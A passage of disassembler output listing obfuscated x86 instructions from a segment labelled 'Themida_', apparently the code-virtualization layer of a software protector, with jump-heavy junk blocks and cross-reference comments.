		pop	ebp
		sub	ebx, edi
		pop	edi
		xor	edx, eax
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55C3BE:				; CODE XREF: Themida_:00555B8Aj
		mov	bh, cl
		pop	ecx
		xor	cl, bh
		pop	bx
		jmp	loc_5547DD
; ---------------------------------------------------------------------------


loc_55C3CA:				; CODE XREF: Themida_:0055A1EBj
		not	ebx
		push	eax
		sub	esp, 4
		jmp	loc_55B8F4
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_55D93D
; ---------------------------------------------------------------------------


loc_55C3DE:				; CODE XREF: Themida_:00554687j
		add	ebp, edx
		pop	edx
		jmp	loc_553C56
; ---------------------------------------------------------------------------


loc_55C3E6:				; CODE XREF: Themida_:00554647j
		pop	esi
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_5591F3
; ---------------------------------------------------------------------------


loc_55C3F3:				; CODE XREF: Themida_:0055BA0Fj
		xor	edx, ebp
		pop	ebp
		jmp	loc_5585A3
; ---------------------------------------------------------------------------


loc_55C3FB:				; CODE XREF: Themida_:00551B50j
		push	edi
		push	esp
		jmp	loc_55C768
; ---------------------------------------------------------------------------


loc_55C402:				; CODE XREF: Themida_:005542BCj
		sub	ch, al
		mov	ax, [esp]
		jmp	loc_558BC5
; ---------------------------------------------------------------------------


loc_55C40D:				; CODE XREF: Themida_:00554FAEj
		add	al, dh
		pop	edx
		push	cx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55BA42
; ---------------------------------------------------------------------------


loc_55C420:				; CODE XREF: Themida_:0055C24Aj
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55C425:				; CODE XREF: Themida_:0055AC42j
		sub	ebx, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	2BDBh
		mov	[esp], esi
		mov	esi, 7B7D0DFBh
		sub	ebx, esi
		jmp	loc_55842D
; ---------------------------------------------------------------------------
		push	ecx
		jmp	loc_55D4D7
; ---------------------------------------------------------------------------


loc_55C453:				; CODE XREF: Themida_:00552168j
		dec	ebx
		and	ebx, 2EBD2A47h
		and	ebx, 4DD0553Bh
		add	ebx, 0F3800001h
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55C214
; ---------------------------------------------------------------------------


loc_55C47C:				; CODE XREF: Themida_:00553424j
		sub	dh, 37h
		jmp	loc_5586AA
; ---------------------------------------------------------------------------


loc_55C484:				; CODE XREF: Themida_:00559CFEj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_559B7C
; ---------------------------------------------------------------------------


loc_55C49A:				; CODE XREF: Themida_:005599CBj
		push	eax
		xor	dword ptr [esp], 4E406974h
		pop	ecx
		jmp	loc_55A353
; ---------------------------------------------------------------------------


loc_55C4A8:				; CODE XREF: Themida_:0055962Aj
		sub	ecx, ebp
		sub	ecx, 45110114h
		jmp	loc_55242B
; ---------------------------------------------------------------------------


loc_55C4B5:				; CODE XREF: Themida_:0055786Aj
		pop	eax
		xchg	esi, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55D7E7
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		jmp	loc_55BEFA
; ---------------------------------------------------------------------------


loc_55C4DA:				; CODE XREF: Themida_:00555EFBj
		sub	ecx, ebx
		pop	ebx
		sub	ebx, ecx
		jmp	loc_55B79B
; ---------------------------------------------------------------------------


loc_55C4E4:				; CODE XREF: Themida_:005546A9j
		sub	ebx, eax
		pop	eax
		jmp	loc_556027
; ---------------------------------------------------------------------------


loc_55C4EC:				; CODE XREF: Themida_:0055511Aj
		pop	ecx
		jmp	loc_55B153
; ---------------------------------------------------------------------------


loc_55C4F2:				; CODE XREF: Themida_:00553488j
		add	esp, 4
		shr	ecx, 0Bh
		jmp	loc_5598D4
; ---------------------------------------------------------------------------


loc_55C500:				; CODE XREF: Themida_:00556622j
		mov	[esp], eax
		jmp	loc_55D03D
; ---------------------------------------------------------------------------


loc_55C508:				; CODE XREF: Themida_:00553BD3j
		pop	edi
		jmp	loc_55D1DF
; ---------------------------------------------------------------------------


loc_55C50E:				; CODE XREF: Themida_:0055DD66j
		push	edx
		mov	edx, 0D9529CDh
		neg	edx
		dec	edx
		push	ebp
		mov	ebp, 535F68BCh
		add	ebp, 0BAD2DD68h
		xor	edx, ebp
		pop	ebp
		xor	edx, 3F924D0h
		sub	edx, 0FFA1B4C2h
		add	eax, edx
		pop	edx
		push	ebp
		mov	ebp, 4
		sub	eax, ebp
		pop	ebp
		jmp	loc_55A4EB
; ---------------------------------------------------------------------------


loc_55C543:				; CODE XREF: Themida_:005558B2j
		push	dx
		push	eax
		mov	ah, 10h
		mov	dh, 0FDh
		jmp	loc_55786F
; ---------------------------------------------------------------------------


loc_55C54F:				; CODE XREF: Themida_:00554CDEj
		mov	esi, [esp]
		add	esp, 4
		add	ecx, 2
		push	2D94h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_559117
; ---------------------------------------------------------------------------


loc_55C56D:				; CODE XREF: Themida_:0055AE2Cj
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_551A9B
; ---------------------------------------------------------------------------


loc_55C57B:				; CODE XREF: Themida_:0055279Ej
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_551D39
; ---------------------------------------------------------------------------


loc_55C586:				; CODE XREF: Themida_:00552765j
		push	4D8h
		jmp	loc_559CF3
; ---------------------------------------------------------------------------


loc_55C590:				; CODE XREF: Themida_:00556B13j
		add	ebp, 1E40BD4h
		add	ebp, esi
		sub	ebp, 1E40BD4h
		jmp	loc_55B1D8
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55C5B3:				; CODE XREF: Themida_:00551BD0j
		mov	dl, 1Ch
		sub	cl, dl
		pop	edx
		add	al, 4Ah
		jmp	loc_559932
; ---------------------------------------------------------------------------


loc_55C5BF:				; CODE XREF: Themida_:005538A1j
		mov	ecx, [esp]
		add	esp, 4
		shl	ebx, 2
		jmp	loc_55577D
; ---------------------------------------------------------------------------


loc_55C5CD:				; CODE XREF: Themida_:00552752j
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_55B141
; ---------------------------------------------------------------------------


loc_55C5DA:				; CODE XREF: Themida_:005589EAj
		xor	edi, 2BCB241Dh
		jmp	loc_552388
; ---------------------------------------------------------------------------


loc_55C5E5:				; CODE XREF: Themida_:00552DFBj
		mov	edi, esp
		jmp	loc_552487
; ---------------------------------------------------------------------------


loc_55C5EC:				; CODE XREF: Themida_:005535F5j
		pop	eax
		add	ch, bl
		add	ch, 0FEh
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 2
		jmp	loc_55A105
; ---------------------------------------------------------------------------


loc_55C606:				; CODE XREF: Themida_:00557052j
		push	dword ptr [edx]
		jmp	loc_55D3A5
; ---------------------------------------------------------------------------


loc_55C60D:				; CODE XREF: Themida_:00554AF0j
		push	17E95F4Fh
		pop	esi
		add	eax, esi
		jmp	loc_559ACE
; ---------------------------------------------------------------------------


loc_55C61A:				; CODE XREF: Themida_:00555C5Bj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, 7B8A633Dh
		add	esi, 84759CC7h
		add	ebp, esi
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55C6A1
; ---------------------------------------------------------------------------


loc_55C64E:				; CODE XREF: Themida_:00556CF6j
		add	ebx, eax
		pop	eax
		push	69B5h
		jmp	loc_55478B
; ---------------------------------------------------------------------------


loc_55C65B:				; CODE XREF: Themida_:0055D70Aj
		or	ecx, 0F8619EFh
		sub	ecx, 1EAC8EAEh
		mov	edx, ecx
		pop	ecx
		jmp	loc_555392
; ---------------------------------------------------------------------------


loc_55C66F:				; CODE XREF: Themida_:0055C993j
		mov	eax, [esp]
		jmp	loc_556206
; ---------------------------------------------------------------------------


loc_55C677:				; CODE XREF: Themida_:0055CC9Dj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jnz	loc_55CD46
		push	1
		jmp	loc_557E83
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_559CA5
; ---------------------------------------------------------------------------


loc_55C69B:				; CODE XREF: Themida_:00557072j
		push	edx
		jmp	loc_5597B9
; ---------------------------------------------------------------------------


loc_55C6A1:				; CODE XREF: Themida_:0055C649j
		mov	esp, [esp]
		shr	ecx, 7
		push	edx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_554E41
; ---------------------------------------------------------------------------


loc_55C6B3:				; CODE XREF: Themida_:0055B3DBj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_556BFA
; ---------------------------------------------------------------------------


loc_55C6C4:				; CODE XREF: Themida_:00558A5Bj
		add	eax, ebx
		sub	eax, 589D6708h
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 48B75A99h
		jmp	loc_5582BF
; ---------------------------------------------------------------------------


loc_55C6DF:				; CODE XREF: Themida_:0055740Cj
		push	ebx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		push	ecx
		pop	ebx
		push	ebx
		sub	dword ptr [esp], 7F882A59h
		jmp	loc_55D7D0
; ---------------------------------------------------------------------------


loc_55C6F6:				; CODE XREF: Themida_:0055969Dj
		push	edx
		mov	edx, 7F26248Fh
		mov	eax, edx
		jmp	loc_557879
; ---------------------------------------------------------------------------


loc_55C703:				; CODE XREF: Themida_:0055790Bj
		or	ecx, ecx
		jz	loc_554BBC
		push	esp
		jmp	loc_55AA1F
; ---------------------------------------------------------------------------


loc_55C711:				; CODE XREF: Themida_:0055247Dj
		pop	ebp
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_5546BA
; ---------------------------------------------------------------------------


loc_55C71D:				; CODE XREF: Themida_:00559A19j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55C722:				; CODE XREF: Themida_:00554F60j
		mov	edi, 4EE856FFh
		jmp	loc_55D04C
; ---------------------------------------------------------------------------


loc_55C72C:				; CODE XREF: Themida_:005533A4j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_55413F
; ---------------------------------------------------------------------------


loc_55C739:				; CODE XREF: Themida_:0055DB33j
		mov	edi, ebx
		pop	ebx
		shr	edi, 8
		push	ebp
		mov	ebp, 45F5F2A4h
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, edi
		pop	edi
		add	eax, 16031CDDh
		sub	eax, edi
		sub	eax, 16031CDDh
		jmp	loc_55B66D
; ---------------------------------------------------------------------------


loc_55C761:				; CODE XREF: Themida_:00558BE3j
		mov	esi, esp
		jmp	loc_558885
; ---------------------------------------------------------------------------


loc_55C768:				; CODE XREF: Themida_:0055C3FDj
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 36BE6518h
		push	esi
		push	ebp
		mov	ebp, 40AD65A5h
		mov	esi, ebp
		pop	ebp
		and	esi, 5B0538BBh
		xor	esi, 27977FFAh
		xor	esi, 512C3A4Fh
		sub	ebx, esi
		pop	esi
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 6A1F39C2h
		shl	edx, 2
		xor	edx, 0A87CE70Ah
		add	edi, 45487A98h
		add	edi, edx
		sub	edi, 45487A98h
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55C7CB:				; CODE XREF: Themida_:00553873j
		mov	edi, ebp
		mov	edx, edi
		jmp	loc_55C38A
; ---------------------------------------------------------------------------


loc_55C7D4:				; CODE XREF: Themida_:00558290j
		mov	[esp], ebp
		jmp	loc_554CE3
; ---------------------------------------------------------------------------


loc_55C7DC:				; CODE XREF: Themida_:0055D22Fj
		mov	ebx, [esp]
		add	esp, 4
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_557814
; ---------------------------------------------------------------------------


loc_55C7EF:				; CODE XREF: Themida_:00552656j
		mov	ebx, edx
		pop	edx
		add	edx, ebx
		pop	ebx
		push	edi
		mov	edi, 44260D92h
		push	ebx
		mov	ebx, 11B3761Ah
		xor	edi, ebx
		jmp	loc_558BE8
; ---------------------------------------------------------------------------


loc_55C808:				; CODE XREF: Themida_:0055827Bj
		dec	si
		shr	si, 4
		sub	si, 0F77h
		or	si, 2EF6h
		neg	si
		push	ax
		mov	ax, 51C8h
		or	ax, 503Ch
		push	edi
		mov	di, 10B7h
		or	di, 5D02h
		jmp	loc_553BF1
; ---------------------------------------------------------------------------


loc_55C834:				; CODE XREF: Themida_:00555993j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_55CB5C
; ---------------------------------------------------------------------------


loc_55C847:				; CODE XREF: Themida_:0055C279j
		pop	edx
		pop	eax
		add	bl, al
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 2
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ax
		mov	ah, 0EAh
		add	bl, ah
		pop	ax
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55C870:				; CODE XREF: Themida_:00557E7Ej
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_552C77
; ---------------------------------------------------------------------------


loc_55C87F:				; CODE XREF: Themida_:0055715Ej
		pop	ebx
		jmp	loc_558D74
; ---------------------------------------------------------------------------


loc_55C885:				; CODE XREF: Themida_:0055D1BEj
		push	esi
		mov	esi, 243C2EB7h
		jmp	loc_55D478
; ---------------------------------------------------------------------------


loc_55C890:				; CODE XREF: Themida_:00551C37j
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, bl
		push	edx
		mov	dh, ch
		mov	[edi+eax*4+1], dh
		pop	edx
		mov	ecx, [esp]
		jmp	loc_552ED5
; ---------------------------------------------------------------------------


loc_55C8AB:				; CODE XREF: Themida_:005519A7j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55C8B0:				; CODE XREF: Themida_:00551E7Aj
		not	ch
		xor	ch, 0C1h
		sub	al, 0F0h
		jmp	loc_55B2C7
; ---------------------------------------------------------------------------


loc_55C8BC:				; CODE XREF: Themida_:00556628j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edx
		push	esi
		push	1439h
		jmp	loc_555E21
; ---------------------------------------------------------------------------


loc_55C8DA:				; CODE XREF: Themida_:00554B9Dj
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5590A9
; ---------------------------------------------------------------------------


loc_55C8EC:				; CODE XREF: Themida_:0055B9D0j
		mov	ebp, 4
		sub	eax, ebp
		jmp	loc_552974
; ---------------------------------------------------------------------------


loc_55C8F8:				; CODE XREF: Themida_:0055A939j
		sub	ebp, 1
		not	ebp
		sub	ebp, 0AF0BB8B4h
		mov	edi, ebp
		pop	ebp
		add	edx, edi
		jmp	loc_55ABE3
; ---------------------------------------------------------------------------
		lodsw
		push	di
		jmp	loc_552C19
; ---------------------------------------------------------------------------


loc_55C919:				; CODE XREF: Themida_:00551B2Dj
		push	ebx
		mov	bl, 0A3h
		jmp	loc_551C9C
; ---------------------------------------------------------------------------


loc_55C921:				; CODE XREF: Themida_:00554868j
		add	ebx, 37100906h
		sub	ebx, eax
		push	edi
		sub	esp, 4
		mov	[esp], ebp
		push	74341128h
		mov	ebp, [esp]
		push	ebp
		jmp	loc_55CEFD
; ---------------------------------------------------------------------------


loc_55C93E:				; CODE XREF: Themida_:00552796j
		shr	ebx, 4
		add	ebx, 70356A48h
		mov	eax, ebx
		jmp	loc_553526
; ---------------------------------------------------------------------------


loc_55C94E:				; CODE XREF: Themida_:00558F12j
		mov	esp, [esp]
		jmp	loc_551913
; ---------------------------------------------------------------------------


loc_55C956:				; CODE XREF: Themida_:00552088j
		shl	edi, 6
		jmp	loc_55BD39
; ---------------------------------------------------------------------------


loc_55C95E:				; CODE XREF: Themida_:00553C51j
		add	al, 5Ah
		sub	al, 0
		push	7910h
		jmp	loc_55B0E2
; ---------------------------------------------------------------------------


loc_55C96C:				; CODE XREF: Themida_:00555E72j
		push	ebx
		mov	ebx, 1A0403DFh
		jmp	loc_55D017
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		mov	ecx, 46D440BCh
		sub	[esp+4], ecx
		pop	ecx
		pop	eax
		jmp	loc_552AFA
; ---------------------------------------------------------------------------


loc_55C991:				; CODE XREF: Themida_:0055B456j
		add	bh, ah
		jmp	loc_55C66F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		jmp	loc_553800
; ---------------------------------------------------------------------------


loc_55C9A2:				; CODE XREF: Themida_:00552AD9j
		dec	edi
		dec	edi
		xor	edi, 4026082Ah
		add	edx, edi
		mov	edi, [esp]
		jmp	loc_554DE3
; ---------------------------------------------------------------------------


loc_55C9B4:				; CODE XREF: Themida_:00554100j
		pop	esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, 189D409Eh
		sub	ebp, edi
		sub	ebp, 189D409Eh
		pop	edi
		jmp	loc_55A40C
; ---------------------------------------------------------------------------


loc_55C9D5:				; CODE XREF: Themida_:0055CDC6j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5569D5
; ---------------------------------------------------------------------------


loc_55C9EC:				; CODE XREF: Themida_:0055AC72j
		pop	dword ptr [esp]
		pop	esp
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_55648E
; ---------------------------------------------------------------------------


loc_55C9FA:				; CODE XREF: Themida_:005573BFj
		inc	esi
		sub	esi, 2B83CCB4h
		sub	edx, esi
		pop	esi
		jmp	loc_55ADB5
; ---------------------------------------------------------------------------


loc_55CA09:				; CODE XREF: Themida_:005521B3j
		pop	esp
		mov	ax, [esp]
		jmp	loc_552368
; ---------------------------------------------------------------------------


loc_55CA13:				; CODE XREF: Themida_:005546B5j
		shr	ebp, 8
		jmp	loc_5547F7
; ---------------------------------------------------------------------------


loc_55CA1B:				; CODE XREF: Themida_:0055288Ej
		mov	esi, 25980A9Fh
		dec	esi
		jmp	loc_554DBA
; ---------------------------------------------------------------------------


loc_55CA26:				; CODE XREF: Themida_:00559647j
		push	edi
		jmp	loc_552014
; ---------------------------------------------------------------------------


loc_55CA2C:				; CODE XREF: Themida_:0055A0E0j
		xchg	eax, [esp]
		jmp	loc_554286
; ---------------------------------------------------------------------------


loc_55CA34:				; CODE XREF: Themida_:00551B3Fj
		shl	ecx, 5
		push	ebx
		mov	ebx, 140A77C5h
		or	ecx, ebx
		pop	ebx
		jmp	loc_555FCD
; ---------------------------------------------------------------------------


loc_55CA45:				; CODE XREF: Themida_:0055C0BBj
		neg	cx
		xor	cx, 64A2h
		jmp	loc_556606
; ---------------------------------------------------------------------------


loc_55CA52:				; CODE XREF: Themida_:00555B99j
		push	ebx
		mov	ebx, 2
		jmp	loc_5538E4
; ---------------------------------------------------------------------------


loc_55CA5D:				; CODE XREF: Themida_:00558568j
		xchg	edx, [esp]
		pop	esp
		pop	esi
		jmp	loc_554360
; ---------------------------------------------------------------------------


loc_55CA67:				; CODE XREF: Themida_:005549BDj
		sub	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		sub	bl, al
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_5521E1
; ---------------------------------------------------------------------------


loc_55CA87:				; CODE XREF: Themida_:00554B71j
		pop	esi
		push	edi
		push	ebp
		mov	ebp, 4DB007EBh
		add	[esp+4], ebp
		jmp	loc_55DA1C
; ---------------------------------------------------------------------------


loc_55CA98:				; CODE XREF: Themida_:00552A16j
		add	eax, edi
		pop	edi
		add	ebx, eax
		jmp	loc_554053
; ---------------------------------------------------------------------------


loc_55CAA2:				; CODE XREF: Themida_:00553613j
		mov	[esp], eax
		push	ebx
		push	5A11368Ch
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55308B
; ---------------------------------------------------------------------------


loc_55CAB9:				; CODE XREF: Themida_:0055CE03j
		push	ecx
		mov	cl, dh
		push	eax
		mov	ah, cl
		mov	bl, ah
		pop	eax
		pop	ecx
		mov	cl, bl
		pop	ebx
		mov	edx, [esp]
		jmp	loc_5585B7
; ---------------------------------------------------------------------------


loc_55CACE:				; CODE XREF: Themida_:0055B6C9j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55CAD3:				; CODE XREF: Themida_:0055CCB7j
		xchg	ebp, [esp]
		mov	esp, [esp]
		dec	word ptr [esp]
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55CAE3:				; CODE XREF: Themida_:00551CACj
		shl	dword ptr [edi+24h], 4
		or	dword ptr [edi+24h], 786F4455h
		add	dword ptr [edi+24h], 39CD1DBEh
		xor	dword ptr [edi+24h], 0CEAB77AFh
		xor	[edi+24h], ebx
		jmp	loc_5527BA
; ---------------------------------------------------------------------------


loc_55CB04:				; CODE XREF: Themida_:00552267j
		sub	edx, 3AA76DFAh
		mov	edi, edx
		pop	edx
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55CB1B:				; CODE XREF: Themida_:0055BEA8j
		push	eax
		push	ebx
		jmp	loc_555207
; ---------------------------------------------------------------------------


loc_55CB22:				; CODE XREF: Themida_:005552F8j
		mov	edi, 4
		add	esi, edi
		pop	edi
		push	edx
		jmp	loc_5598C1
; ---------------------------------------------------------------------------


loc_55CB30:				; CODE XREF: Themida_:00559C17j
		push	66E0h
		mov	[esp], edx
		push	2
		jmp	loc_557E22
; ---------------------------------------------------------------------------


loc_55CB42:				; CODE XREF: Themida_:00551E06j
		pop	edx
		and	ecx, edi
		pop	edi
		shr	ecx, 0
		jmp	loc_55254F
; ---------------------------------------------------------------------------


loc_55CB4E:				; CODE XREF: Themida_:00558AA9j
		add	ebx, 2
		xor	ebx, [esp]
		jmp	loc_55B8B2
; ---------------------------------------------------------------------------


loc_55CB5C:				; CODE XREF: Themida_:0055C842j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_559C59
; ---------------------------------------------------------------------------


loc_55CB6D:				; CODE XREF: Themida_:00553C95j
		push	ecx
		push	ebx
		jmp	loc_55DA2C
; ---------------------------------------------------------------------------


loc_55CB74:				; CODE XREF: Themida_:0055C033j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		xor	[esp], eax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55CB86:				; CODE XREF: Themida_:0055D454j
		inc	bh
		xor	bh, 0C0h
		sub	cl, bh
		pop	ebx
		not	cl
		neg	cl
		add	cl, 0E1h
		push	edx
		mov	dl, cl
		push	ecx
		mov	ch, dl
		jmp	near ptr unk_551E7F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		sub	ecx, 266A782Ch
		add	ecx, 311C77ACh
		add	ecx, edi
		sub	ecx, 311C77ACh
		push	ebp
		jmp	loc_55A5EB
; ---------------------------------------------------------------------------


loc_55CBC7:				; CODE XREF: Themida_:0055A497j
		mov	eax, 4
		jmp	loc_5591B9
; ---------------------------------------------------------------------------


loc_55CBD1:				; CODE XREF: Themida_:00558BB5j
		pop	edx
		push	edx
		mov	dh, 70h
		jmp	loc_55B20B
; ---------------------------------------------------------------------------


loc_55CBDA:				; CODE XREF: Themida_:00551E6Fj
		pop	dword ptr [esp]
		mov	esp, [esp]
		movsx	cx, al
		push	2533h
		mov	[esp], ebx
		jmp	loc_55B682
; ---------------------------------------------------------------------------


loc_55CBF1:				; CODE XREF: Themida_:0055A3AFj
		mov	[esp], esi
		jmp	loc_5555BB
; ---------------------------------------------------------------------------


loc_55CBF9:				; CODE XREF: Themida_:00557F9Bj
		add	ebx, 72278395h
		and	ecx, ebx
		pop	ebx
		shr	ecx, 6
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55273D
; ---------------------------------------------------------------------------


loc_55CC1B:				; CODE XREF: Themida_:0055A4A8j
		mov	ebp, 1DC04B48h
		add	eax, 6EEF5D09h
		jmp	loc_55A3C4
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		mov	esi, esp
		push	edi
		jmp	loc_555BC6
; ---------------------------------------------------------------------------


loc_55CC37:				; CODE XREF: Themida_:0055D902j
		push	eax
		jmp	loc_557639
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_55AB08
; ---------------------------------------------------------------------------


loc_55CC45:				; CODE XREF: Themida_:0055BFC1j
		mov	[esp], ebx
		mov	ebx, 4
		mov	edx, ebx
		push	dword ptr [esp]
		jmp	loc_55A802
; ---------------------------------------------------------------------------


loc_55CC57:				; CODE XREF: Themida_:0055181Aj
		push	eax
		mov	ah, 0B0h
		push	edx
		jmp	loc_555DC1
; ---------------------------------------------------------------------------


loc_55CC60:				; CODE XREF: Themida_:00554DF4j
		add	eax, 4
		push	edi
		push	4
		pop	edi
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		jmp	loc_55196E
; ---------------------------------------------------------------------------


loc_55CC77:				; CODE XREF: Themida_:0055D445j
		mov	edx, [esp]
		jmp	loc_556DAB
; ---------------------------------------------------------------------------


loc_55CC7F:				; CODE XREF: Themida_:005528ECj
		pop	esp
		push	24C5h
		jmp	loc_55361F
; ---------------------------------------------------------------------------


loc_55CC8A:				; CODE XREF: Themida_:00558DBDj
		pop	esp
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	eax
		jmp	loc_55C677
; ---------------------------------------------------------------------------


loc_55CCA2:				; CODE XREF: Themida_:005525B9j
		mov	edi, 4
		sub	ecx, 6B891C75h
		add	ecx, edi
		jmp	loc_551898
; ---------------------------------------------------------------------------


loc_55CCB4:				; CODE XREF: Themida_:00557E28j
		add	esp, 4
		jmp	loc_55CAD3
; ---------------------------------------------------------------------------


loc_55CCBC:				; CODE XREF: Themida_:00552D47j
		xor	dl, 78h
		mov	bh, dl
		pop	edx
		mov	ch, bh
		pop	ebx
		mov	dl, ch
		pop	ecx
		jmp	loc_5556F8
; ---------------------------------------------------------------------------


loc_55CCCD:				; CODE XREF: Themida_:00554D7Aj
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	ebx, eax
		pop	eax
		sub	eax, 0CDC1D6Bh
		sub	eax, ebx
		add	eax, 0CDC1D6Bh
		pop	ebx
		sub	esp, 4
		jmp	loc_55412B
; ---------------------------------------------------------------------------


loc_55CCEA:				; CODE XREF: Themida_:00553DE5j
		add	edx, 4
		sub	esp, 4
		jmp	loc_551FD0
; ---------------------------------------------------------------------------


loc_55CCFB:				; CODE XREF: Themida_:00554833j
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_553F9A
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	0BABh
		mov	[esp], ebx
		push	ecx
		jmp	loc_55C291
; ---------------------------------------------------------------------------


loc_55CD17:				; CODE XREF: Themida_:005536A8j
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_55D6C3
; ---------------------------------------------------------------------------


loc_55CD32:				; CODE XREF: Themida_:0055BCEDj
		cmp	cl, al
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55CD3A:				; CODE XREF: Themida_:0055BA69j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_55CD46:				; CODE XREF: Themida_:005553F6j
					; Themida_:0055C682j
		push	dword ptr [edi+24h]
		mov	ecx, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	47A3h
		mov	[esp], esi
		push	208946D7h
		jmp	loc_55875A
; ---------------------------------------------------------------------------


loc_55CD61:				; CODE XREF: Themida_:00556FACj
		pop	eax
		add	dword ptr [esp+4], 3308717Ch
		pop	eax
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5591D5
; ---------------------------------------------------------------------------


loc_55CD76:				; CODE XREF: Themida_:00558FEAj
		add	esp, 4
		push	esi
		mov	esi, 31273CD8h
		add	esi, 4D233BDh
		xor	ebp, esi
		pop	esi
		push	ebp
		pop	dword ptr [eax]
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		push	254h
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_553D40
; ---------------------------------------------------------------------------


loc_55CDA6:				; CODE XREF: Themida_:00558FF2j
		add	esi, 4
		jmp	loc_55A278
; ---------------------------------------------------------------------------


loc_55CDB1:				; CODE XREF: Themida_:005536D7j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5527F5
; ---------------------------------------------------------------------------


loc_55CDBF:				; CODE XREF: Themida_:0055B706j
		pop	eax
		sub	eax, edx
		push	dword ptr [esp]
